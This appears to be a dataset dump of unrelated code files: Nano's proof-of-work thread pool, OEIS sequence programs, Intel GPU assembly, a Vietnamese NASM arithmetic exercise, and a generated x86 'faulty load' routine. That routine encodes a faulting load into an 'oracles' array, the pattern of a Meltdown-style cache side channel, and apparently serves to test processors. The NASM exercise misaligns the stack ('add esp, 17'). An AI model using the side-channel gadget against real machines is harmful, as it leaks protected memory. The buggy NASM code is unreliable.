text stringlengths 1 1.05M |
|---|
#include <nano/crypto_lib/random_pool.hpp>
#include <nano/lib/blocks.hpp>
#include <nano/lib/threading.hpp>
#include <nano/lib/work.hpp>
#include <nano/node/xorshift.hpp>
#include <future>
bool nano::work_validate (nano::root const & root_a, uint64_t work_a, uint64_t * difficulty_a)
{
static nano::network_constants network_constants;
auto value (nano::work_value (root_a, work_a));
if (difficulty_a != nullptr)
{
*difficulty_a = value;
}
return value < network_constants.publish_threshold;
}
bool nano::work_validate (nano::block const & block_a, uint64_t * difficulty_a)
{
return work_validate (block_a.root (), block_a.block_work (), difficulty_a);
}
uint64_t nano::work_value (nano::root const & root_a, uint64_t work_a)
{
uint64_t result;
blake2b_state hash;
blake2b_init (&hash, sizeof (result));
blake2b_update (&hash, reinterpret_cast<uint8_t *> (&work_a), sizeof (work_a));
blake2b_update (&hash, root_a.bytes.data (), root_a.bytes.size ());
blake2b_final (&hash, reinterpret_cast<uint8_t *> (&result), sizeof (result));
return result;
}
nano::work_pool::work_pool (unsigned max_threads_a, std::chrono::nanoseconds pow_rate_limiter_a, std::function<boost::optional<uint64_t> (nano::root const &, uint64_t, std::atomic<int> &)> opencl_a) :
ticket (0),
done (false),
pow_rate_limiter (pow_rate_limiter_a),
opencl (opencl_a)
{
static_assert (ATOMIC_INT_LOCK_FREE == 2, "Atomic int needed");
boost::thread::attributes attrs;
nano::thread_attributes::set (attrs);
auto count (network_constants.is_test_network () ? std::min (max_threads_a, 1u) : std::min (max_threads_a, std::max (1u, boost::thread::hardware_concurrency ())));
if (opencl)
{
// One thread to handle OpenCL
++count;
}
for (auto i (0u); i < count; ++i)
{
auto thread (boost::thread (attrs, [this, i]() {
nano::thread_role::set (nano::thread_role::name::work);
nano::work_thread_reprioritize ();
loop (i);
}));
threads.push_back (std::move (thread));
}
}
nano::work_pool::~work_pool ()
{
stop ();
for (auto & i : threads)
{
i.join ();
}
}
void nano::work_pool::loop (uint64_t thread)
{
// Quick RNG for work attempts.
xorshift1024star rng;
nano::random_pool::generate_block (reinterpret_cast<uint8_t *> (rng.s.data ()), rng.s.size () * sizeof (decltype (rng.s)::value_type));
uint64_t work;
uint64_t output;
blake2b_state hash;
blake2b_init (&hash, sizeof (output));
nano::unique_lock<std::mutex> lock (mutex);
auto pow_sleep = pow_rate_limiter;
while (!done)
{
auto empty (pending.empty ());
if (thread == 0)
{
// Only work thread 0 notifies work observers
work_observers.notify (!empty);
}
if (!empty)
{
auto current_l (pending.front ());
int ticket_l (ticket);
lock.unlock ();
output = 0;
boost::optional<uint64_t> opt_work;
if (thread == 0 && opencl)
{
opt_work = opencl (current_l.item, current_l.difficulty, ticket);
}
if (opt_work.is_initialized ())
{
work = *opt_work;
output = work_value (current_l.item, work);
}
else
{
// ticket != ticket_l indicates a different thread found a solution and we should stop
while (ticket == ticket_l && output < current_l.difficulty)
{
// Don't query main memory every iteration in order to reduce memory bus traffic
// All operations here operate on stack memory
// Count iterations down to zero since comparing to zero is easier than comparing to another number
unsigned iteration (256);
while (iteration && output < current_l.difficulty)
{
work = rng.next ();
blake2b_update (&hash, reinterpret_cast<uint8_t *> (&work), sizeof (work));
blake2b_update (&hash, current_l.item.bytes.data (), current_l.item.bytes.size ());
blake2b_final (&hash, reinterpret_cast<uint8_t *> (&output), sizeof (output));
blake2b_init (&hash, sizeof (output));
iteration -= 1;
}
// Add a rate limiter (if specified) to the pow calculation to save some CPUs which don't want to operate at full throttle
if (pow_sleep != std::chrono::nanoseconds (0))
{
std::this_thread::sleep_for (pow_sleep);
}
}
}
lock.lock ();
if (ticket == ticket_l)
{
// If the ticket matches what we started with, we're the ones that found the solution
assert (output >= current_l.difficulty);
assert (current_l.difficulty == 0 || work_value (current_l.item, work) == output);
// Signal other threads to stop their work next time they check ticket
++ticket;
pending.pop_front ();
lock.unlock ();
current_l.callback (work);
lock.lock ();
}
else
{
// A different thread found a solution
}
}
else
{
// Wait for a work request
producer_condition.wait (lock);
}
}
}
void nano::work_pool::cancel (nano::root const & root_a)
{
nano::lock_guard<std::mutex> lock (mutex);
if (!done)
{
if (!pending.empty ())
{
if (pending.front ().item == root_a)
{
++ticket;
}
}
pending.remove_if ([&root_a](decltype (pending)::value_type const & item_a) {
bool result{ false };
if (item_a.item == root_a)
{
if (item_a.callback)
{
item_a.callback (boost::none);
}
result = true;
}
return result;
});
}
}
void nano::work_pool::stop ()
{
{
nano::lock_guard<std::mutex> lock (mutex);
done = true;
++ticket;
}
producer_condition.notify_all ();
}
void nano::work_pool::generate (nano::root const & root_a, std::function<void(boost::optional<uint64_t> const &)> callback_a)
{
generate (root_a, callback_a, network_constants.publish_threshold);
}
void nano::work_pool::generate (nano::root const & root_a, std::function<void(boost::optional<uint64_t> const &)> callback_a, uint64_t difficulty_a)
{
assert (!root_a.is_zero ());
if (!threads.empty ())
{
{
nano::lock_guard<std::mutex> lock (mutex);
pending.push_back ({ root_a, callback_a, difficulty_a });
}
producer_condition.notify_all ();
}
else if (callback_a)
{
callback_a (boost::none);
}
}
boost::optional<uint64_t> nano::work_pool::generate (nano::root const & root_a)
{
return generate (root_a, network_constants.publish_threshold);
}
boost::optional<uint64_t> nano::work_pool::generate (nano::root const & root_a, uint64_t difficulty_a)
{
boost::optional<uint64_t> result;
if (!threads.empty ())
{
std::promise<boost::optional<uint64_t>> work;
std::future<boost::optional<uint64_t>> future = work.get_future ();
// clang-format off
generate (root_a, [&work](boost::optional<uint64_t> work_a) {
work.set_value (work_a);
},
difficulty_a);
// clang-format on
result = future.get ().value ();
}
return result;
}
size_t nano::work_pool::size ()
{
nano::lock_guard<std::mutex> lock (mutex);
return pending.size ();
}
namespace nano
{
std::unique_ptr<seq_con_info_component> collect_seq_con_info (work_pool & work_pool, const std::string & name)
{
auto composite = std::make_unique<seq_con_info_composite> (name);
size_t count = 0;
{
nano::lock_guard<std::mutex> guard (work_pool.mutex);
count = work_pool.pending.size ();
}
auto sizeof_element = sizeof (decltype (work_pool.pending)::value_type);
composite->add_component (std::make_unique<seq_con_info_leaf> (seq_con_info{ "pending", count, sizeof_element }));
composite->add_component (collect_seq_con_info (work_pool.work_observers, "work_observers"));
return composite;
}
}
|
; A188084: Positions of 0 in A188083; complement of A188084.
; Submitted by Jon Maiga
; 2,3,6,7,10,11,13,14,17,18,21,22,25,26,28,29,32,33,36,37,40,41,43,44,47,48,51,52,54,55,58,59,62,63,66,67,69,70,73,74,77,78,81,82,84,85,88,89,92,93,96,97,99,100,103,104,107,108,110,111,114,115,118,119,122,123,125,126,129,130,133,134,137,138,140,141,144,145,148,149,152,153
mov $1,$0
mov $0,1
mov $2,$1
div $1,2
add $1,1
mul $1,-52
mov $3,5
mov $4,$1
add $4,6
sub $3,$4
div $3,-30
sub $0,$3
add $0,$2
|
/*
* Copyright (c) 2017, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
L0:
cmp (1|M0) (eq)f0.0 null.0<1>:w r[a0.3]<0;1,0>:uw 0x0:uw
(W&f0.0) jmpi L368
L32:
cmp (16|M0) (ne)f0.0 null.0<1>:w r[a0.7]<16;16,1>:uw 0x0:uw
and (1|M0) f0.0<1>:uw f0.0<0;1,0>:uw r[a0.3]<0;1,0>:uw
(f0.0) if (16|M0) L352 L352
L80:
mul (16|M0) acc0.0<1>:w r24.1<0;1,0>:ub r[a0.7]<16;16,1>:uw
shr (16|M0) r17.0<1>:uw acc0.0<16;16,1>:w 0x8:uw
add (16|M0) (sat)r16.0<1>:uw -r17.0<16;16,1>:uw 0xFF00:uw
shl (16|M0) r17.0<1>:uw r24.1<0;1,0>:ub 0x8:uw
add (16|M0) (sat)r17.0<1>:uw r17.0<16;16,1>:uw 0xFF:uw
mul (16|M0) acc0.0<1>:w r[a0.4]<16;16,1>:uw r17.0<16;16,1>:uw
mac (16|M0) acc0.0<1>:w r[a0.0]<16;16,1>:uw r16.0<16;16,1>:uw
shr (16|M0) r[a0.0]<1>:uw acc0.0<16;16,1>:w 0x11:uw
shl (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x1:uw
mul (16|M0) acc0.0<1>:w r[a0.5]<16;16,1>:uw r17.0<16;16,1>:uw
mac (16|M0) acc0.0<1>:w r[a0.1]<16;16,1>:uw r16.0<16;16,1>:uw
shr (16|M0) r[a0.1]<1>:uw acc0.0<16;16,1>:w 0x11:uw
shl (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x1:uw
mul (16|M0) acc0.0<1>:w r[a0.6]<16;16,1>:uw r17.0<16;16,1>:uw
mac (16|M0) acc0.0<1>:w r[a0.2]<16;16,1>:uw r16.0<16;16,1>:uw
shr (16|M0) r[a0.2]<1>:uw acc0.0<16;16,1>:w 0x11:uw
shl (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x1:uw
L352:
endif (16|M0) L368
L368:
cmp (1|M0) (eq)f0.0 null.0<1>:w r[a0.3,2]<0;1,0>:uw 0x0:uw
(W&f0.0) jmpi L736
L400:
cmp (16|M0) (ne)f0.0 null.0<1>:w r[a0.7,32]<16;16,1>:uw 0x0:uw
and (1|M0) f0.0<1>:uw f0.0<0;1,0>:uw r[a0.3,2]<0;1,0>:uw
(f0.0) if (16|M0) L720 L720
L448:
mul (16|M0) acc0.0<1>:w r24.1<0;1,0>:ub r[a0.7,32]<16;16,1>:uw
shr (16|M0) r17.0<1>:uw acc0.0<16;16,1>:w 0x8:uw
add (16|M0) (sat)r16.0<1>:uw -r17.0<16;16,1>:uw 0xFF00:uw
shl (16|M0) r17.0<1>:uw r24.1<0;1,0>:ub 0x8:uw
add (16|M0) (sat)r17.0<1>:uw r17.0<16;16,1>:uw 0xFF:uw
mul (16|M0) acc0.0<1>:w r[a0.4,32]<16;16,1>:uw r17.0<16;16,1>:uw
mac (16|M0) acc0.0<1>:w r[a0.0,32]<16;16,1>:uw r16.0<16;16,1>:uw
shr (16|M0) r[a0.0,32]<1>:uw acc0.0<16;16,1>:w 0x11:uw
shl (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x1:uw
mul (16|M0) acc0.0<1>:w r[a0.5,32]<16;16,1>:uw r17.0<16;16,1>:uw
mac (16|M0) acc0.0<1>:w r[a0.1,32]<16;16,1>:uw r16.0<16;16,1>:uw
shr (16|M0) r[a0.1,32]<1>:uw acc0.0<16;16,1>:w 0x11:uw
shl (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x1:uw
mul (16|M0) acc0.0<1>:w r[a0.6,32]<16;16,1>:uw r17.0<16;16,1>:uw
mac (16|M0) acc0.0<1>:w r[a0.2,32]<16;16,1>:uw r16.0<16;16,1>:uw
shr (16|M0) r[a0.2,32]<1>:uw acc0.0<16;16,1>:w 0x11:uw
shl (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x1:uw
L720:
endif (16|M0) L736
L736:
add (4|M0) a0.0<1>:ud a0.0<4;4,1>:ud r22.4<1;2,0>:ud
add (1|M0) a0.3<1>:w a0.3<0;1,0>:w -r22.9<0;1,0>:w
cmp (1|M0) (eq)f0.0 null.0<1>:w r[a0.3,4]<0;1,0>:uw 0x0:uw
(W&f0.0) jmpi L1136
L800:
cmp (16|M0) (ne)f0.0 null.0<1>:w r[a0.7]<16;16,1>:uw 0x0:uw
and (1|M0) f0.0<1>:uw f0.0<0;1,0>:uw r[a0.3,4]<0;1,0>:uw
(f0.0) if (16|M0) L1120 L1120
L848:
mul (16|M0) acc0.0<1>:w r24.1<0;1,0>:ub r[a0.7]<16;16,1>:uw
shr (16|M0) r17.0<1>:uw acc0.0<16;16,1>:w 0x8:uw
add (16|M0) (sat)r16.0<1>:uw -r17.0<16;16,1>:uw 0xFF00:uw
shl (16|M0) r17.0<1>:uw r24.1<0;1,0>:ub 0x8:uw
add (16|M0) (sat)r17.0<1>:uw r17.0<16;16,1>:uw 0xFF:uw
mul (16|M0) acc0.0<1>:w r[a0.4]<16;16,1>:uw r17.0<16;16,1>:uw
mac (16|M0) acc0.0<1>:w r[a0.0]<16;16,1>:uw r16.0<16;16,1>:uw
shr (16|M0) r[a0.0]<1>:uw acc0.0<16;16,1>:w 0x11:uw
shl (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x1:uw
mul (16|M0) acc0.0<1>:w r[a0.5]<16;16,1>:uw r17.0<16;16,1>:uw
mac (16|M0) acc0.0<1>:w r[a0.1]<16;16,1>:uw r16.0<16;16,1>:uw
shr (16|M0) r[a0.1]<1>:uw acc0.0<16;16,1>:w 0x11:uw
shl (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x1:uw
mul (16|M0) acc0.0<1>:w r[a0.6]<16;16,1>:uw r17.0<16;16,1>:uw
mac (16|M0) acc0.0<1>:w r[a0.2]<16;16,1>:uw r16.0<16;16,1>:uw
shr (16|M0) r[a0.2]<1>:uw acc0.0<16;16,1>:w 0x11:uw
shl (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x1:uw
L1120:
endif (16|M0) L1136
L1136:
cmp (1|M0) (eq)f0.0 null.0<1>:w r[a0.3,6]<0;1,0>:uw 0x0:uw
(W&f0.0) jmpi L1504
L1168:
cmp (16|M0) (ne)f0.0 null.0<1>:w r[a0.7,32]<16;16,1>:uw 0x0:uw
and (1|M0) f0.0<1>:uw f0.0<0;1,0>:uw r[a0.3,6]<0;1,0>:uw
(f0.0) if (16|M0) L1488 L1488
L1216:
mul (16|M0) acc0.0<1>:w r24.1<0;1,0>:ub r[a0.7,32]<16;16,1>:uw
shr (16|M0) r17.0<1>:uw acc0.0<16;16,1>:w 0x8:uw
add (16|M0) (sat)r16.0<1>:uw -r17.0<16;16,1>:uw 0xFF00:uw
shl (16|M0) r17.0<1>:uw r24.1<0;1,0>:ub 0x8:uw
add (16|M0) (sat)r17.0<1>:uw r17.0<16;16,1>:uw 0xFF:uw
mul (16|M0) acc0.0<1>:w r[a0.4,32]<16;16,1>:uw r17.0<16;16,1>:uw
mac (16|M0) acc0.0<1>:w r[a0.0,32]<16;16,1>:uw r16.0<16;16,1>:uw
shr (16|M0) r[a0.0,32]<1>:uw acc0.0<16;16,1>:w 0x11:uw
shl (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x1:uw
mul (16|M0) acc0.0<1>:w r[a0.5,32]<16;16,1>:uw r17.0<16;16,1>:uw
mac (16|M0) acc0.0<1>:w r[a0.1,32]<16;16,1>:uw r16.0<16;16,1>:uw
shr (16|M0) r[a0.1,32]<1>:uw acc0.0<16;16,1>:w 0x11:uw
shl (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x1:uw
mul (16|M0) acc0.0<1>:w r[a0.6,32]<16;16,1>:uw r17.0<16;16,1>:uw
mac (16|M0) acc0.0<1>:w r[a0.2,32]<16;16,1>:uw r16.0<16;16,1>:uw
shr (16|M0) r[a0.2,32]<1>:uw acc0.0<16;16,1>:w 0x11:uw
shl (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x1:uw
L1488:
endif (16|M0) L1504
L1504:
nop
|
; Yeu cau: Nhaop vao 2 so a, b. Tinh tong, hieu, tich, thuong a, b
%include "io.inc"
extern _printf
extern _scanf
extern _getch
section .data
tb1 db "Nhap a: ", 0
tb2 db "Nhap b: ", 0
tb3 db 10,"%d %c %d = %d", 0;
tb4 db " du la: %d", 0
fmt db "%d", 0
section .bss
a resd 1
b resd 1
c resd 1
d resd 1
section .text
global CMAIN
CMAIN:
;write your code here
; xuat tb1
push tb1
call _printf
add esp, 4
; nhap a
; scanf("%d, &a);
push a
push fmt
call _scanf
add esp, 8
; xuat tb2
push tb2
call _printf
add esp, 4
; nhap b
; scanf("%d, &b);
push b
push fmt
call _scanf
add esp, 8
; tinh tong
mov eax, [a]
add eax, [b] ; eax = eax + [b]
mov [c], eax
; xuat tong
; printf("%d %c %d = %d\n", a, b, c);
push dword[c]
push dword[b]
push '+'
push dword[a]
push tb3
call _printf
add esp, 17
; tinh hieu
mov eax, [a]
sub eax, [b] ; eax = eax - [b]
mov [c], eax
; xuat hieu
; printf("%d %c %d = %d", a, b, c);
push dword[c]
push dword[b]
push '-'
push dword[a]
push tb3
call _printf
add esp, 17
; tinh tich
mov eax, [a]
mul dword[b] ; eax = eax * [b]
mov [c], eax
; xuat tich
; printf("%d %c %d = %d", a, b, c);
push dword[c]
push dword[b]
push '*'
push dword[a]
push tb3
call _printf
add esp, 17
; tinh thuong
mov eax, [a]
div dword[b] ; eax = eax / [b]
mov [c], eax
mov [d], edx
; xuat thuong
; printf("%d %c %d = %d", a, b, c);
push dword[c]
push dword[b]
push '/'
push dword[a]
push tb3
call _printf
add esp, 17
; xuat tb4
push dword[d]
push tb4
call _printf
add esp, 8
call _getch
xor eax, eax
ret
|
; A233905: a(2n) = a(n), a(2n+1) = a(n) + n, with a(0)=0.
; 0,0,0,1,0,2,1,4,0,4,2,7,1,7,4,11,0,8,4,13,2,12,7,18,1,13,7,20,4,18,11,26,0,16,8,25,4,22,13,32,2,22,12,33,7,29,18,41,1,25,13,38,7,33,20,47,4,32,18,47,11,41,26,57,0,32,16,49,8,42,25,60,4,40,22,59,13,51,32,71,2,42,22,63,12,54,33,76,7,51,29,74,18,64,41,88,1,49,25,74,13,63,38,89,7,59,33,86,20,74,47,102,4,60,32,89,18,76,47,106,11,71,41,102,26,88,57,120,0,64,32,97,16,82,49,116,8,76,42,111,25,95,60,131,4,76,40,113,22,96,59,134,13,89,51,128,32,110,71,150,2,82,42,123,22,104,63,146,12,96,54,139,33,119,76,163,7,95,51,140,29,119,74,165,18,110,64,157,41,135,88,183,1,97,49,146,25,123,74,173,13,113,63,164,38,140,89,192,7,111,59,164,33,139,86,193,20,128,74,183,47,157,102,213,4,116,60,173,32,146,89,204,18,134,76,193,47,165,106,225,11,131,71,192,41,163,102,225,26,150
lpb $0
lpb $0
dif $0,2
lpe
sub $0,1
add $1,$0
lpe
div $1,2
|
; A318919: Define b(0)=0, b(1)[1]=1, b(1)[2]=1; and for n>=2, b(n)[1] = total number of digits in b(n-1), and b(n)[2] = total number of digits in b(0),...,b(n-1); a(n) = b(n)[2].
; 1,3,5,7,9,11,14,17,20,23,26,29,32,35,38,41,44,47,50,53,56,59,62,65,68,71,74,77,80,83,86,89,92,95,98,101,105,109,113,117,121,125,129,133,137,141,145,149,153,157,161,165,169,173,177,181,185,189,193,197,201,205,209,213
mov $1,$0
add $0,1
lpb $0
add $1,$0
add $1,1
add $2,5
add $3,3
add $4,$2
sub $0,$4
trn $0,1
sub $1,1
add $4,$2
add $2,6
sub $2,$3
add $4,6
lpe
|
start:
set r2 1
set r3 6
set r4 1
set r5 0
mov r6 r2
store r5 r6
for_0:
test r6 r3
jg endfor_0
set r7 0
load r7 r7
writenumber r7
add r6 r6 r4
store r5 r6
jmp for_0
endfor_0:
stop
|
; A068639: a(0) = 0, a(n) = a(n-1) + (-1)^p(n) for n >= 1, where p(n) = highest power of 2 dividing n.
; 0,1,0,1,2,3,2,3,2,3,2,3,4,5,4,5,6,7,6,7,8,9,8,9,8,9,8,9,10,11,10,11,10,11,10,11,12,13,12,13,12,13,12,13,14,15,14,15,16,17,16,17,18,19,18,19,18,19,18,19,20,21,20,21,22,23,22,23,24,25,24,25,24,25,24,25,26,27,26
mov $1,$0
lpb $0,1
div $0,2
sub $1,$0
mov $2,$0
mov $0,0
sub $0,$2
sub $1,$2
lpe
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x19225, %rdi
nop
nop
nop
nop
nop
add %rdx, %rdx
mov (%rdi), %ebp
nop
nop
xor $55404, %r10
lea addresses_WC_ht+0xb569, %r10
nop
xor %r13, %r13
movb (%r10), %bl
nop
nop
inc %rdx
lea addresses_WC_ht+0x17e75, %rdi
nop
nop
nop
nop
xor $60375, %r12
mov $0x6162636465666768, %r13
movq %r13, %xmm4
vmovups %ymm4, (%rdi)
nop
nop
nop
nop
nop
and %r12, %r12
lea addresses_A_ht+0x67a5, %rsi
lea addresses_normal_ht+0x70a5, %rdi
nop
nop
nop
nop
xor $32883, %rdx
mov $34, %rcx
rep movsl
nop
nop
nop
and %rdi, %rdi
lea addresses_WC_ht+0xe073, %rdx
nop
nop
cmp $48642, %r12
mov $0x6162636465666768, %rdi
movq %rdi, %xmm2
vmovups %ymm2, (%rdx)
cmp %rdx, %rdx
lea addresses_A_ht+0x83d6, %rdi
clflush (%rdi)
nop
nop
nop
inc %rbp
movw $0x6162, (%rdi)
nop
nop
nop
add $15032, %rcx
lea addresses_WC_ht+0xbca5, %rdi
nop
nop
nop
nop
xor $28046, %rbp
mov $0x6162636465666768, %r12
movq %r12, %xmm1
vmovups %ymm1, (%rdi)
dec %r13
lea addresses_WC_ht+0xe3a5, %rdx
nop
nop
nop
cmp $21719, %rdi
vmovups (%rdx), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %r12
nop
nop
nop
nop
cmp %r13, %r13
lea addresses_WT_ht+0x99cf, %rsi
lea addresses_WC_ht+0x69a5, %rdi
sub %rdx, %rdx
mov $54, %rcx
rep movsb
nop
and %rsi, %rsi
lea addresses_WT_ht+0x80e5, %rdi
nop
nop
nop
nop
nop
sub $8881, %rdx
movb (%rdi), %bl
nop
cmp %r12, %r12
lea addresses_A_ht+0xf005, %rsi
lea addresses_UC_ht+0x108d9, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
mfence
mov $1, %rcx
rep movsq
nop
nop
sub $48844, %r12
lea addresses_D_ht+0xf7a5, %rbx
cmp $34768, %rsi
movb $0x61, (%rbx)
nop
nop
nop
nop
nop
add %rbp, %rbp
lea addresses_D_ht+0x1b4a5, %rsi
clflush (%rsi)
nop
nop
nop
nop
add %r12, %r12
mov $0x6162636465666768, %r13
movq %r13, %xmm1
movups %xmm1, (%rsi)
nop
nop
nop
and %rsi, %rsi
lea addresses_D_ht+0x1a825, %rcx
nop
nop
nop
cmp $32651, %rdi
movb (%rcx), %dl
nop
nop
nop
sub $19128, %rsi
lea addresses_WC_ht+0x8525, %rsi
lea addresses_normal_ht+0x187a5, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
cmp %rbp, %rbp
mov $44, %rcx
rep movsq
nop
nop
add %r12, %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r9
push %rax
push %rbp
push %rsi
// Load
lea addresses_US+0x15a65, %rax
nop
sub $24090, %rbp
movaps (%rax), %xmm6
vpextrq $1, %xmm6, %rsi
nop
nop
inc %rsi
// Store
lea addresses_PSE+0x19555, %rbp
nop
and $59887, %r15
mov $0x5152535455565758, %r12
movq %r12, %xmm7
movups %xmm7, (%rbp)
nop
nop
nop
nop
nop
inc %rsi
// Store
lea addresses_WT+0xbf25, %r9
nop
nop
nop
nop
and %rsi, %rsi
mov $0x5152535455565758, %r15
movq %r15, %xmm6
vmovups %ymm6, (%r9)
nop
nop
and $46542, %r15
// Store
lea addresses_normal+0xe3a5, %rbp
xor $27675, %rax
mov $0x5152535455565758, %rsi
movq %rsi, %xmm0
vmovups %ymm0, (%rbp)
nop
cmp %r15, %r15
// Store
lea addresses_PSE+0x5aa5, %rsi
nop
nop
nop
nop
and $18621, %r11
movb $0x51, (%rsi)
nop
nop
nop
inc %r15
// Load
mov $0x22ef7c00000005dd, %rbp
inc %r12
mov (%rbp), %si
nop
nop
nop
nop
nop
xor %r15, %r15
// Faulty Load
lea addresses_D+0x1e3a5, %r12
nop
nop
nop
nop
nop
add %rax, %rax
vmovups (%r12), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rbp
lea oracles, %r12
and $0xff, %rbp
shlq $12, %rbp
mov (%r12,%rbp,1), %rbp
pop %rsi
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'36': 5203}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 